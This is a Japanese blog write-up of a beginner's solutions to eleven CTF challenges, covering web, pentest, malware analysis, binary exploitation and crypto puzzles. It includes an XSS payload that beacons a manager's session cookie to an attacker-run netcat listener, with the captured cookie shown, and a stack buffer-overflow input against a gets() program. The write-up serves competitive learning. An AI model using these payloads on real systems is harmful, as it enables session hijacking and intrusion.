0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

FFRI × NFLabs. Cybersecurity Challenge 2025 Writeup (24問中11問)

Last updated at Posted at 2025-09-28

はじめに

  • 以下はCTF初心者がFFRI様とNFLabs様が主催する"FFRI × NFLabs. Cybersecurity Challenge 2025"に参加させていただいたときに解くことができた問題の解法です
  • 今回初めて記事を書くので至らない点があったらコメントなどでご指摘いただけましたら幸いでございます

⚠️ 注意
本記事は CTF で出題された問題の Writeup(解法記録)です。
記載されている手法やコードは、あくまで学習・競技目的での実行を前提としています。
実際の業務システムやインターネット上のサービスに対して 決して試さないでください
実行する場合は、必ずローカルの隔離環境(仮想マシン・Docker・CTF配布環境など)で行ってください。

問題一覧

Welcome

No カテゴリ 問題名
1 Welcome Welcome
2 Pentest Hidden Service
3 Web Exploitation SecureWebCompany
4 Web Exploitation Timecard
5 MalWare Analysis Downloader
6 MalWare Analysis Acrobatics
7 MalWare Analysis Custom Encryptor
8 Binary Exploitation Abnormal
9 Binary Exploitation Jump
10 Misc Bellaso
11 Misc Lamp

1.Welcome

概要

そのまま問題に記載されているフラグを入力します。
フラグ: flag{Good_Luck_and_Have_Fun!}

2.HiddenService

概要

検証用サーバに同僚しか知らない方法で操作できるようにしているそうです。flag.txtを見つけましょう。

調査

どんなサービスが動いているかを調べて試しに接続してみます。
nmapでポートスキャンをかけたところ、以下のような出力結果を得られました。

1   $ nmap -sV 10.0.129.184
2   Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-26 14:57 JST
3   Nmap scan report for ip-10-0-129-184.ap-northeast-1.compute.internal (10.0.129.184)
4   Host is up (0.0017s latency).
5   Not shown: 998 closed tcp ports (reset)
6   PORT      STATE SERVICE VERSION
7   22/tcp    open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
8   31337/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
9   Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
10  
11  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
12  Nmap done: 1 IP address (1 host up) scanned in 6.42 seconds

この実行結果を見たとき、8行目にwebサービスが31337ポートで動いていることがわかりました。10.0.129.184:31337をURLに打ち込んで接続してみたところ。シェルの操作が可能なwebサイトに接続できました。これが問題にある秘密の操作方法のようです。ためしに$ pwdを実行してみたところ、しっかり実行結果が出力されています。ここからflag.txtを捜索しましょう。

手順

> find / -name "flag.txt"
/flag.txt

> ls -l /flag.txt
-rw-r--r-- 1 root root 37 Jun 17 08:56 /flag.txt

> cat /flag.txt
flag{Ch4nging_th3_p0rt_is_p0intl3ss}

1つめのコマンドから"flag.txt"がルートディレクトリにあり、2つめのコマンドからすべてのユーザーにreadができるようになっていたので3つめのコマンドで無事開くことができました。
フラグ: flag{Ch4nging_th3_p0rt_is_p0intl3ss}

3.SecureWebCompany

概要

お問い合わせページから、開発者向けの情報が見えてしまうそうです。配布ファイルをみて構成を確認し、問題にある機密情報が見えるか確認しましょう。

調査

配布されたwebの構成を見てみると以下のようになっていました。


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        2025/09/12     16:04             62 compose.yml
-a----        2025/09/12     16:04             87 Dockerfile
-a----        2025/09/12     16:04          12540 index.html
-a----        2025/09/12     16:04            118 README.md
-a----        2025/09/12     16:04           8912 script.js
-a----        2025/09/12     16:04           6697 style.css

どうやらindex.htmlとREADME.mdが同じディレクトリにあるようです。加えてREADME.mdにはダミーフラグが記載されていました。これをターゲットのマシンから引き出せれば良さそうです。

手順

urlにhttp://<ip>:<port>/README.mdと入力するとサーバー側においてある本物のフラグが記載されたREADME.mdがダウンロードできました。

フラグ: flag{5up3r53cr37_4dm1n_p455w0rd}

4.Timecard

概要

タイムカードをwebサービスで運用しており、各社員の勤務申請を上司が承認する形で運用しています。もちろん上司のアカウントを社員に使われると大きな問題になるので上司(managerユーザ)でログインしてフラグが見えるか確認しましょう。(上司としてログインできればフラグが取得できます)現在は一分ごとに新しい申請を確認しているようです。

調査

まずはwebサイトにアクセスして社員アカウントでログインしてみます。
ここでは日付・始業時刻・終業時刻・備考・すべてを入力してから申請ができるようになっています。備考の場所は普通のテキストフォームですが、もしかしてjavascriptが打てたり?と言う事でalert出してみましょう。備考に以下のようなもの入れてみます。

</body><script> alert("a") </script>

この状態で送信するとalertを実行できました。これはかなり使えそうです。

次にログインはどうやって管理しているのかを調べたところ、ログイン成功時に与えられたセッションには以下の内容がありました。
image.png

ここまでの内容でセッションジャックが使えそうです。

手順

イメージとしては以下のようになります。上司側のユーザーでこのセッションcookieをXSSで上司側のマシンからビーコンに対して送信させることができればパスワードを入手せずともログインできそうです。
<ここにXSSセッションジャックのイメージ>
と言うことでVMのlinuxでnc -lvnp 8091を実行してビーコン(受信鯖)を建てましょう。こうすることでこのポートに送られたデータを取得する事ができます。
次にcookieを送信させるために"備考"のテキストフォームに次のコードを入れます。

">
<script>
const c = document.cookie;
navigator.sendBeacon("http://ip:8091/log",c);
</script>

このスクリプトは立てたビーコン(nc -lやpython http等)に対してcookie情報を送信するものです。
これをテキストフォームに入れた状態で適当に日付などを埋め送信し、1分待つと...

1   nc -lvnp 8091
2   listening on [any] 8091 ...
3   connect to [10.0.0.72] from (UNKNOWN) [10.0.129.192] 50900
4   POST /log HTTP/1.1
5   Host: 10.0.0.72:8091
6   Connection: keep-alive
7   Content-Length: 220
8   Accept-Language: en-US,en;q=0.9
9   User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.0.0 Safari/537.36
10  Content-Type: text/plain;charset=UTF-8
11  Accept: */*
12  Origin: http://web
13  Referer: http://web/
14  Accept-Encoding: gzip, deflate
15  
16  session=.eJwlzjEOwzAIQNG7MHcAYwjOZSLbgNo1aaaqd2-qHOB_vQ9sucfxhPW9n_GA7eWwQpjMHq7BKdOiiWWyL9q1jYa1UFESJBpUB3Vh0enFs9XZvQ8zryQliHhMYZVYmqEtZGKCTcmJsVzbf4ToOTltDqFeMYsN7XBBziP2W0Pw_QGxwS7X.aNf1pQ.6ZOMSibNHmgVdoFwvOqT1yXwmxw

16行目から、sessionの値を取得できました!早速これをcookieの値に入れてみましょう

cookieのsessionの値をそのまま入れ替えます。(ncによるリッスン中、なかなか受信できないと思ったらもう一度リッスン(再実行)してみると取得できたりします。)

フラグ: flag{H9aDSMkTCWZMEuk25nZw}

5.Downloader

概要

配布実行ファイルには特定のURLへ通信する機能を持ちます。通信先URLをそのままflag{}等なしで回答します。

調査

雑にghidraで見てみましょう。ghidraの上のタブにある"Search"->"ForString"から通信先っぽいipアドレス、およびURLを探してみます。
image.png
入力してみたらこれでした。
雑すぎるのでもう少し調査します。

手順

プログラムのエントリーポイントを探します。Functionsからmainやentryといった関数を探します。それらは左側にあるSymbol TreeにあるFunctionsから探します。

void entry(void)

{
  int iVar1;
  BOOL BVar2;
  HRESULT HVar3;
  CHAR local_108 [260];
  
  FUN_00401000("Constructing a destination path...\n");
  iVar1 = SHGetFolderPathA(0,0x2e,0,0,local_108);
  if (iVar1 == 0) {
    BVar2 = PathAppendA(local_108,"download_result.bin");
    if (BVar2 != 0) {
      FUN_00401000("The constructed path: ");
      FUN_00401000(local_108);
      FUN_00401000("\n");
      FUN_00401000("Downloading...\n");
      HVar3 = URLDownloadToFileA((LPUNKNOWN)0x0,"http://172.30.153.199/x2hZq0XMZro0",local_108,0,
                                 (LPBINDSTATUSCALLBACK)0x0);
      if (HVar3 == 0) {
        FUN_00401000("Succeeded\n");
                    /* WARNING: Subroutine does not return */
        ExitProcess(0);
      }
    }
  }
  FUN_00401000("Failed\n");
                    /* WARNING: Subroutine does not return */
  ExitProcess(1);
}

このコードによるとURLDownloadToFileAという関数にて問題にあるファイルをダウンロードするという挙動をしているようです。ここにあるipアドレスを答えましょう

6.Acrobatics

概要

従業員から送られた怪しいPDFファイルの調査を行いますが、一見書類に見えてもなにか仕掛けがあるようです。

調査

ヒントによれば特定のPDFビューワだと何かが表示されるそうです。
ということでwordではなく問題名に沿って"adobe acrobat"というソフトを使って読んでみたところ書類をクリックしたとたんに
image.png
終わった。
.
.
.

というわけにもいかないので別の方法はないでしょうか。VScodeでpdfを開いてみます。ここで文字化けがいくつか発生するのは仕方なくいったん無視して"script"や"code"といった文字列を検索してみたところ

/S /JavaScript
/JS (var\040\137d\040\075\040\13389\054111\054117\054114\05432\054102\054108\05497\054103\05432\054105\054115\05458\05432\054\040\04090\054109\054120\054104\05490\05451\054116\054119\05490\05471\05490\054102\05497\054109\054\040\04070\05450\05489\05488\05478\054106\05499\054109\054108\054119\054100\05470\05457\054116\054\040\04089\05487\054100\054112\05489\05451\05448\05461\135\073app\056alert\050String\056fromCharCode\056apply\050null\054\040\137d\051\051\073)
>>

このような記述がありました。

手順

1文字ずつ解読するとなる骨が折れますが、最初の部分を8進法で分解した後、ASCIIコードに照らし合わせるとvar _d =という感じになったのでここがjavascriptが埋められている場所であっていそうです。

7.CustomEncryptor

概要

重要なフラグファイルがランサムウェアによって暗号化されましたが、ランサムウェアに不備があり、復元できるそうです。

調査

ghidraで雑に見てみましたが、デコンパイルがうまくできませんでした。このファイルはどんな形式でしょうか。DIE(detect it easy)で軽く見てみます
image.png
だめな理由がわかりました。C#の.NETを使用しているみたいです。異なるツールを使ってみましょう。
dsSpyというツールで開いてみるとvisual studioで使えるような形式で閲覧することができました。
その中で特にAES鍵をフッターに入れており、それをメイン側でrsaによる暗号化を施しているようです。しかし、Resourcesに鍵が埋め込まれている事がわかり、これを鍵として別のファイルで保存できました。

private byte[] GenerateEncryptedFooter(Aes aes)
		{
			byte[] array = Array.Empty<byte>().Concat(aes.Key).Concat(aes.IV).Concat(Encoding.UTF8.GetBytes("TheFooterContent")).ToArray<byte>();
			Trace.Assert(array.Length == 64);
			byte[] array2 = this._rsa.Encrypt(array, RSAEncryptionPadding.OaepSHA1);
			Trace.Assert(array2.Length == 256);
			return array2;
		}

image.png

手順

調査で発見した鍵を使って復号しましょう。
どこからが鍵かはわからないのでフッターから鍵のサイズを頼りにしたから読み出します。
以下のコードは保存した鍵を"rsa_private.pem"とし、暗号化されたフラグを"secret.iso.encrypted"とし取り出したフッター鍵で複合するプログラムです。

using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

class Recover
{
    static void Main(string[] args)
    {
        var path = args.Length > 0 ? args[0] : "secret.iso.encrypted";
        var keyPem = args.Length > 1 ? args[1] : "rsa_private.pem";

        byte[] all = File.ReadAllBytes(path);

        //末尾256Bをフッター候補
        int footerLen = 256;
        int cipherLen = all.Length - footerLen;
        byte[] footerEnc = all.AsSpan(cipherLen, footerLen).ToArray();
        if (cipherLen % 16 != 0) Console.WriteLine("注意: (総サイズ-256) が16の倍数ではありません");

        //RSA復号
        using var rsa = RSA.Create();
        rsa.ImportFromPem(File.ReadAllText(keyPem));
        byte[] footerPlain;
        try
        {
            footerPlain = rsa.Decrypt(footerEnc, RSAEncryptionPadding.OaepSHA1);
        }
        catch (Exception ex)
        {
            Console.WriteLine($"RSA復号失敗: {ex.Message}");
            return;
        }

        // Key/IV 抽出
        byte[] aesKey = footerPlain.AsSpan(0, 32).ToArray();
        byte[] iv = footerPlain.AsSpan(32, 16).ToArray();
        Console.WriteLine("鍵/IVを取り出しました。本文を復号します…");

        // 本文復号
        byte[] cipher = all.AsSpan(0, cipherLen).ToArray();
        using var aes = Aes.Create();
        aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7;
        aes.Key = aesKey; aes.IV = iv;
        using var ms = new MemoryStream();
        using (var cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
        {
            cs.Write(cipher, 0, cipher.Length);
        }
        File.WriteAllBytes("plain.bin", ms.ToArray());
        Console.WriteLine("復号完了: plain.bin");
    }
}

実行したところ、メモ帳で見てもフラグの部分は原型を残して出力されました。
flag{W!7h_PR1V@TE_K3Y_C0M3$_GR3@T_R3$P0N51BI!I7Y}

8.Abnormal

概要

flagを売っているショップを見つけたけど所持金が圧倒的に足りません、どうにかしてflagを買いましょう

調査

配布されているファイルにはプログラムの実行ファイルが含まれていました。これをghidraで見てみると売却時の整数オーバーフローの対策が何もされていないことがわかりました。これは使えそうです。

手順

伝説の剣を売却する際に個数を入力できますが、そこには整数オーバーフローによる攻撃が適用できます。と言う事で売却する量をint_tを -2,147,483,648 ~ 2,147,483,647の範囲を超えた数字を入れる事で所持金の値が-の範囲を超えて上限値になるように調整しましょう。

フラグゲットできました。
フラグ: flag{Th3_m1nu5_cr33p5_b3y0nd_ch405}

9.Jump

概要

配布されたソースコードをみてprint_flag関数を実行させましょう。
Stack Canary,PIE)は無効で32bit i386環境を前提としており、スタックのアラインメントは4バイト。print_flag()は0x21466F42

調査

問題を見る限り典型的なバッファオーバーフロー攻撃を実行するようです。
lldbを使用して返りアドレスの場所を確認します。

#include <stdio.h>
#include <stdlib.h>

void __attribute__((section(".flag"))) print_flag() {
    char flag[64] = { 0 };
    FILE* fp = fopen("flag.txt", "r");
    if (!fp) {
        printf("An error occurred while opening the file\n");
        exit(1);
    }
    fread(flag, 1, 64, fp);
    printf("Congratulations! Here's the flag: %s\n", flag);
    exit(0);
}

void greet() {
    char name[16] = { 0 };
    gets(name);
    printf("Hi, %s!\n", name);
}

int main() {
    printf("Tell me your name! : ");
    fflush(stdout);
    greet();
    return 0;
}

これによると16文字+アラインメントから返りアドレスをいじれそうです。

手順

0x21466F42を入力したいのでこれをASCIIコードとして送ってしまいましょう。ASCIIコード表を照らし合わせて、リトルエンディアンに変換するとBoF!になりました。これを返りアドレスに到達させるために20文字入れた後に入れると

% nc 10.0.129.196 8102
Tell me your name! : aaaaaaaaaaaaaaaaaaaaBoF!
Hi, aaaaaaaaaaaaaaaaaaaaBoF!!
Congratulations! Here's the flag: flag{80F_JUMP_70_FUNC710N}

フラグ: flag{80F_JUMP_70_FUNC710N}

10.Bellaso

概要

配布されたcipher.txtを数百年前につくられたbellasoに関する古典暗号方式でkey.txtを使って複合する問題です。この中にある"flag is hogehoge"の...の部分を回答します。

調査

この問題名にあるBellasoとは多表式換字を使用した暗号方式でヴィジュネル暗号の元祖になった暗号方式です。(間違っていたらすいません)配布ファイルにはcipher.txtとkey.txtが含まれているのでヴィジュネル暗号の復号ツールを使えば復元できます。やってることはほとんど同じなので。

手順

今回はdencode.comさんにお世話になりました。ここに暗号文と鍵を入れてみましょう。

このサイトに入力したところ

haru ha akebono youyou shiroku nariyuku yamagiwa sukoshi akarite murasaki dachitaru kumo no hosoku tanabikitaru natsu ha yoru tsuki no koro ha sara nari yami mo nao hotaru no ooku tobichigaitaru mata tada hitotsu futatsu nado honoka ni uchihikarite iku mo okashi ame nado furu mo okashi aki ha yuugure yuuhi no sashite yama no ha ito chikou naritaru ni karasu no nedoko e iku tote mitsu yotsu futatsu mitsu nado tobiisogu sae aware nari maite kari nado no tsuranetaru ga ito chiisaku miyuru ha ito okashi hi irihatete kaze no oto mushi no ne nado hata iubeki ni arazu flag is makuranosoushi fuyu ha tsutomete yuki no furitaru wa iubeki nimo arazu shimo no ito shiroki mo mata sarademo ito samuki ni hi nado isogi okoshite sumimote wataru mo ito tsukizukishi hiru ni narite nuruku yurubi moteikeba hioke no hi mo shiroki hai gachi ni narite waroshi

ctr + fで"flag is"で検索するとmakuranosoushiとあり、入力したら正解でした!
フラグ: makuranosoushi

11.Lamp

概要

raspi picoを用いて未完成の回路図とLed点灯プログラムを頼りにlampが点灯するためにはどこにつなげればいいかを答えます。回答可能回数は3回までです。

調査

回答制限付きなの怖いですね。配布されたファイルの回路図とプログラムを見るとすでにGNDにはつながっており、GPIO-18から電気を出力しています。しかし、GPIO-18がどの番号かを忘れたのでおとなしく公式サイトに行きましょう。

led = Pin(18, Pin.OUT)

手順

raspiの公式ドキュメントからpin配置の画像を見つけました。
https://www.raspberrypi.com/documentation/microcontrollers/pico-series.html
これによるとGPIO-18は24番に対応しているそうです。それを入力するとフラグを獲得できました。
フラグ: flag{pico_gpio_master}

終わり

今回初めてwrite upを書かせていただきました。CTFを初めて半年ですが、いろんなことを調べつつ、いろんなことを試せて楽しかったです!

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?